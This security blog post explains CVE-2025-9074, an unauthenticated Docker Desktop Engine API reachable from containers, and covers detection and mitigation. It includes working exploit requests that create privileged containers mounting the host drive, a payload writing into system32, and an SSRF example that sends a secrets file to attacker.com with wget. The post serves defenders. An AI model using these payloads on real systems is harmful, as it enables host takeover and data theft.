CVE-2025-9074: When Docker Desktop's Internal API Goes Rogue

Author: Joey Lane | Date: 9/5/2025 | 10 minutes to read

Vulnerabilities, Exploits, Threat Intelligence, Incident Response, Security Best Practices

How a simple SSRF turned into one of the most critical container escape vulnerabilities of 2025

TL;DR: CVE-2025-9074 is a critical vulnerability in Docker Desktop for Windows and macOS (CVSS 9.3) that allows any container to access the Docker Engine API at 192.168.65.7:2375 without authentication. This enables complete container escapes, host system compromise, and privilege escalation. The vulnerability affects all versions prior to Docker Desktop 4.44.3, works regardless of Enhanced Container Isolation settings, and can be exploited with just two lines of code or through SSRF attacks.

In the world of container security, few things are as terrifying as a vulnerability that turns your carefully isolated containers into glorified backdoors to your host system. CVE-2025-9074, patched by Docker in August 2025, is exactly that kind of nightmare: a deceptively simple flaw that reduces container escape to a trivial HTTP request.

The Anatomy of a Critical Oversight

At its core, CVE-2025-9074 represents what security researcher Felix Boulet aptly described as “a simple oversight”: Docker Desktop’s internal HTTP API was reachable from any container without authentication or access controls. This seemingly innocent architectural decision created a pathway for complete host compromise that bypassed virtually every security control Docker Desktop offered.

The Technical Breakdown

The vulnerability stems from Docker Desktop’s network architecture on Windows and macOS. Unlike Linux, which uses named pipes for Docker Engine communication, Docker Desktop on these platforms exposes the Docker Engine API over TCP at 192.168.65.7:2375 on the configured Docker subnet. This endpoint is reachable from any running container and, here’s the kicker, requires no authentication whatsoever.

# From inside any container, this simple curl command proves the vulnerability
curl -X GET http://192.168.65.7:2375/version

# And this is all it takes to create a privileged container with host access
curl -X POST http://192.168.65.7:2375/containers/create \
  -H "Content-Type: application/json" \
  -d '{
    "Image": "alpine",
    "Cmd": ["sh"],
    "HostConfig": {
      "Binds": ["C:\\:/mnt/host"],
      "Privileged": true
    }
  }'

What makes this particularly insidious is that the vulnerability persists regardless of Docker Desktop’s security configurations:

• Enhanced Container Isolation (ECI) enabled or disabled: No difference
• “Expose daemon on tcp://localhost:2375 without TLS” setting: Irrelevant
• Container runtime or image source: Doesn’t matter

The attack surface is essentially every container that can make HTTP requests, which, let’s be honest, is pretty much every container worth running.

Real-World Attack Scenarios

The exploitation possibilities are as diverse as they are terrifying, with the impact varying significantly between platforms.

Windows: The Full Compromise Scenario

On Windows, particularly with WSL backend configurations, CVE-2025-9074 enables complete host takeover. Security researcher Philippe Dugre demonstrated how an attacker can:

1. Mount the entire file system with administrator privileges
2. Read sensitive files including credentials, certificates, and system configurations
3. Overwrite system DLLs to achieve persistent administrator access
4. Install backdoors or malware directly on the host system

The attack flow is elegantly simple:

{
  "Image": "malicious_image",
  "Cmd": ["sh", "-c", "echo 'game over' > /mnt/host/windows/system32/backdoor.dll"],
  "HostConfig": {
    "Binds": ["C:\\:/mnt/host"],
    "Privileged": true
  }
}

macOS: Limited but Still Dangerous

While macOS provides better isolation (Docker Desktop doesn’t run with administrative privileges by default and mounting user directories requires permission prompts), attackers still retain significant capabilities:

• Full control over Docker application and containers
• Ability to backdoor Docker configurations without user approval
• Access to Docker-accessible file systems and volumes
• Potential for persistence through Docker configuration modification

Linux: The Safe Harbor

Interestingly, Linux users dodged this particular bullet entirely. The vulnerability doesn’t affect Linux installations because Docker on Linux uses named pipes on the host’s file system rather than TCP sockets for API communication.

Beyond Direct Container Exploitation

What elevates CVE-2025-9074 from “serious” to “critical” is its versatility as an attack vector. The vulnerability isn’t limited to malicious containers: it can be exploited through Server-Side Request Forgery (SSRF) attacks against applications running inside containers.

Consider a web application with an SSRF vulnerability running in a Docker Desktop container. An attacker could leverage that SSRF to:

POST http://192.168.65.7:2375/containers/create
Content-Type: application/json

{
  "Image": "alpine",
  "Cmd": ["wget", "http://attacker.com/exfil?data=$(cat /mnt/host/users/victim/secrets.txt)"],
  "HostConfig": {
    "Binds": ["C:\\:/mnt/host"]
  }
}

This transforms what might have been a low-impact SSRF into a complete host compromise, a perfect example of how container vulnerabilities can amplify application security flaws.

Detection and Forensics

Identifying potential exploitation of CVE-2025-9074 requires monitoring several key indicators:

Network-Based Detection

Monitor for HTTP requests to the Docker subnet API endpoint:

# Look for suspicious API calls in network logs
grep "192.168.65.7:2375" /var/log/network.log

# Monitor for container creation API calls
grep -E "(POST.*containers/create|containers/.*/start)" docker_api.log

Container Runtime Monitoring

Watch for unusual container creation patterns:

• Containers created with privileged flags
• Host filesystem bind mounts (especially root directories)
• Containers spawned without explicit user action
• Unusual image sources or command parameters

File System Monitoring

On Windows systems, monitor for:

# Watch for unusual file access patterns
Get-WinEvent -FilterHashtable @{LogName='Security'; ID=4663} |
  Where-Object {$_.Message -like "*C:\*" -and $_.Message -like "*docker*"}

Mitigation and Remediation

The primary mitigation is straightforward: upgrade to Docker Desktop 4.44.3 or later immediately. This version includes the fix for CVE-2025-9074 and is available for all supported platforms.

Immediate Actions

1. Update Docker Desktop: Download version 4.44.3+ from the official Docker website
2. Restart all containers: Ensure they’re running under the patched version
3. Audit running containers: Review all currently running containers for signs of compromise
4. Check for unauthorized containers: Look for containers you didn’t create

Verification Commands

# Check your Docker Desktop version
docker --version

# List all running containers and review for anomalies
docker ps -a

# Check for suspicious bind mounts
docker inspect $(docker ps -q) | grep -i "binds\|mounts"

Long-Term Security Hardening

While updating fixes the immediate vulnerability, consider these additional security measures:

• Implement container scanning in your CI/CD pipeline
• Use minimal base images to reduce attack surface
• Enable Docker Content Trust for image verification
• Regular security audits of container configurations
• Network segmentation for container workloads

The Bigger Picture: Container Security Lessons

CVE-2025-9074 serves as a stark reminder that container security isn’t just about securing what’s inside the container: it’s about understanding the entire container runtime environment. This vulnerability highlights several critical lessons:

Architecture Matters

The difference in impact between Windows/macOS and Linux installations shows how platform-specific architectural decisions can create vastly different security postures. The choice to use TCP sockets versus named pipes wasn’t just a technical decision: it was a security decision with far-reaching implications.

Defense in Depth Limitations

Enhanced Container Isolation and other security features proved ineffective against this vulnerability because they operated at different layers. This reminds us that security controls must be comprehensive and assume that individual layers might fail.

The SSRF Multiplier Effect

The ability to exploit this vulnerability through SSRF attacks demonstrates how container vulnerabilities can amplify other security flaws. A minor SSRF in a web application suddenly becomes a critical host compromise vector.

Conclusion

CVE-2025-9074 represents a perfect storm of architectural oversight, platform-specific implementation choices, and the inherent complexity of container security. While the vulnerability has been patched, its existence and exploitation potential serve as crucial reminders for container security practitioners:

• Update immediately to Docker Desktop 4.44.3 or later
• Audit your container environments for signs of exploitation
• Implement comprehensive monitoring for container API access
• Consider platform-specific risks in your threat model
• Maintain defense-in-depth strategies that don’t rely on single security controls

The fact that this vulnerability could be exploited with just two lines of code while bypassing multiple security features should give every containerization team pause. It’s a humbling reminder that in the world of container security, the most critical vulnerabilities often hide in the most mundane architectural decisions.

As we continue to embrace containerization for its development and deployment benefits, CVE-2025-9074 serves as a crucial case study in why security must be baked into container platforms from the ground up, not bolted on as an afterthought.

References

• CVE-2025-9074 - National Vulnerability Database
• Docker Security Announcements
• Docker Fixes CVE-2025-9074 - The Hacker News
• SOC Prime Analysis of CVE-2025-9074
• CVE-2025-9074 Details - CVE Details